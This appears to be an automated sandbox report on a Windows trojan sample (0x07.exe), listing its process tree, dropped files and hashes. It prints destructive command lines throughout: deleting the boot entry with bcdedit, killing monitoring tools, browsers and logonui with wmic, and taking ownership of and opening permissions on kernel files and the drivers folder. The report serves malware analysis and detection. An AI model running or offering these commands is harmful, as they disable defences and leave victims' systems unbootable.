PID 2740 wrote to memory of 1516 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1516 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1516 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2740 wrote to memory of 1124 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

C:\Windows\Temp\winconfig.exe

"C:\Windows\Temp\winconfig.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3543.tmp\3554.tmp\3555.bat C:\Windows\Temp\winconfig.exe"

C:\Users\Admin\AppData\Roaming\DetectKey.exe

"C:\Users\Admin\AppData\Roaming\DetectKey.exe"

C:\Windows\system32\bcdedit.exe

bcdedit /delete {current}

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='mmc.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='PartAssist.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='control.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager Protable.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='CCleaner.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64a.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='regedit.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='iexplore.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='chrome.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='firefox.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='opera.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='edge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='msedge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='brave.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='wmplayer.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad++.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskmgr.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\hal.dll"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\winload.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\ntoskrnl.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\perfmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\resmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskkill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tasklist.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tskill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Program Files\Process Hacker 2"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\System32\drivers"

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\winload.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\System32\drivers" /grant "everyone":F

C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T

Network

N/A

Files

\Windows\Temp\winconfig.exe

MD5 11d457ee914f72a436fa4a8a8f8446dd
SHA1 d0308ca82ed9716b667e8e77e9ae013b9af44116
SHA256 c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
SHA512 4c861cb0fa7170d6c71e11b3a826d1802ff0f9d029cfefa7428655929d5bab4bf56abeeb963e4927def3e959f2d4a0f199c8c3bf3ecbef8885189a52eeef666b

C:\Users\Admin\AppData\Local\Temp\3543.tmp\3554.tmp\3555.bat

MD5 a645734f3bf4a2682cbaf546789ec0c4
SHA1 fafcc11909412bf51f217e12dfaa93a15181a3e2
SHA256 3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
SHA512 efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d

C:\Users\Admin\AppData\Roaming\DetectKey.exe

MD5 aba9a3cf4e1db4602c25405987b809a6
SHA1 6cd545ea023ce9cdfe76607c6801cc11ff7d9e80
SHA256 490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
SHA512 e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675